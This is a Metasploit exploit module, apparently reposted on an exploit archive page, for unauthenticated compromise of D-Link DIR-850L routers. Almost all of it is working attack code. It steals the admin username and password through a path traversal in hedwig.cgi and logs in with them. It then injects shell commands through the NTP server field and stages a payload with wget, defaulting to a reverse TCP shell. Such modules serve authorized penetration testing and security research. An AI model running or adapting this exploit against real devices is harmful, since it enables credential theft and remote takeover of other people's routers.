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D-Link DIR-850L Unauthenticated Command Execution

Posted on 14 November 2017

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'openssl'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'DIR-850L (Un)authenticated OS Command Exec',
'Description' => %q{
This module leverages an unauthenticated credential disclosure
vulnerability to then execute arbitrary commands on DIR-850L routers
as an authenticated user. Unable to use Meterpreter payloads.
},
'Author' => [
'Mumbai', # https://github.com/realoriginal (module)
'Zdenda' # vuln discovery
],
'References' => [
['URL', 'https://www.seebug.org/vuldb/ssvid-96333'],
['URL', 'https://blogs.securiteam.com/index.php/archives/3310'],
],
'DisclosureDate' => 'Aug 9 2017',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE,
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsbe/shell/reverse_tcp'
},
'Privileged' => true,
'Payload' => {
'DisableNops' => true,
},
'Targets' => [[ 'Automatic', {} ]],
))
end

def check
begin
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
})
if res && res.headers['Server']
auth = res.headers['Server']
if auth =~ /DIR-850L/
if auth =~ /WEBACCESS/1.0/
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Detected
end
end
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Unknown
end

def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}

credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)

login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)

create_credential_login(login_data)
end

# some other DIR-8X series routers are vulnerable to this same retrieve creds vuln as well...
# should write an auxiliary module to-do -> WRITE AUXILIARY
def retrieve_creds
begin
xml = "<?xml version="1.0" encoding="utf-8"?>
"
xml << "<postxml>
"
xml << "<module>
"
xml << " <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>
"
xml << "</module>
"
xml << "</postxml>"
res = send_request_cgi({
'uri' => '/hedwig.cgi',
'method' => 'POST',
'encode_params' => false,
'headers' => {
'Accept-Encoding' => 'gzip, deflate',
'Accept' => '*/*'
},
'ctype' => 'text/xml',
'cookie' => "uid=#{Rex::Text.rand_text_alpha_lower(8)}",
'data' => xml,
})
if res.body =~ /<password>(.*)</password>/ # fixes stack trace issue
parse = res.get_xml_document
username = parse.at('//name').text
password = parse.at('//password').text
vprint_good("#{peer} - Retrieved the username/password combo #{username}/#{password}")
loot = store_loot("dlink.dir850l.login", "text/plain", rhost, res.body)
print_good("#{peer} - Downloaded credentials to #{loot}")
return username, password
else
fail_with(Failure::NotFound, "#{peer} - Credentials could not be obtained")
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
end
end

def retrieve_uid
begin
res = send_request_cgi({
'uri' => '/authentication.cgi',
'method' => 'GET',
})
parse = res.get_json_document
uid = parse['uid']
challenge = parse['challenge']
return uid, challenge
rescue ::Rex::ConnectionError
fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
end
end

def login(username, password)
uid, challenge = retrieve_uid
begin
hash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('md5'), password.to_s, (username.to_s + challenge.to_s)).upcase
send_request_cgi({
'uri' => '/authentication.cgi',
'method' => 'POST',
'data' => "id=#{username}&password=#{hash}",
'cookie' => "uid=#{uid}"
})
return uid
rescue ::Rex::ConnectionError
fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
end
end

def execute_command(cmd, opts)
uid = login(@username, @password) # reason being for loop is cause UID expires for some reason after executing 1 command
payload = "<?xml version="1.0" encoding="utf-8"?>
"
payload << "<postxml>
"
payload << "<module>
"
payload << " <service>DEVICE.TIME</service>
"
payload << " <device>
"
payload << " <time>
"
payload << " <ntp>
"
payload << " <enable>1</enable>
"
payload << " <period>604800</period>
"
payload << " <server>#{Rex::Text.rand_text_alpha_lower(8)}; (#{cmd}&); </server>
"
payload << " </ntp>
"
payload << " <ntp6>
"
payload << " <enable>1</enable>
"
payload << " <period>604800</period>
"
payload << " </ntp6>
"
payload << " <timezone>20</timezone>
"
payload << " <time/>
"
payload << " <date/>
"
payload << " <dst>0</dst>
"
payload << " <dstmanual/>
"
payload << " <dstoffset/>
"
payload << " </time>
"
payload << " </device>
"
payload << "</module>
"
payload << "</postxml>"
begin
# save configuration
res = send_request_cgi({
'uri' => '/hedwig.cgi',
'method' => 'POST',
'ctype' => 'text/xml',
'data' => payload,
'cookie' => "uid=#{uid}"
})
# execute configuration
res = send_request_cgi({
'uri' => '/pigwidgeon.cgi',
'method' => 'POST',
'data' => 'ACTIONS=SETCFG,ACTIVATE',
'cookie' => "uid=#{uid}"
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
end
end

def exploit
print_status("#{peer} - Connecting to target...")

unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable url")
end
#
# Information Retrieval, obtains creds and logs in
#
@username, @password = retrieve_creds
execute_cmdstager(
:flavor => :wget,
:linemax => 200
)
end
end

 

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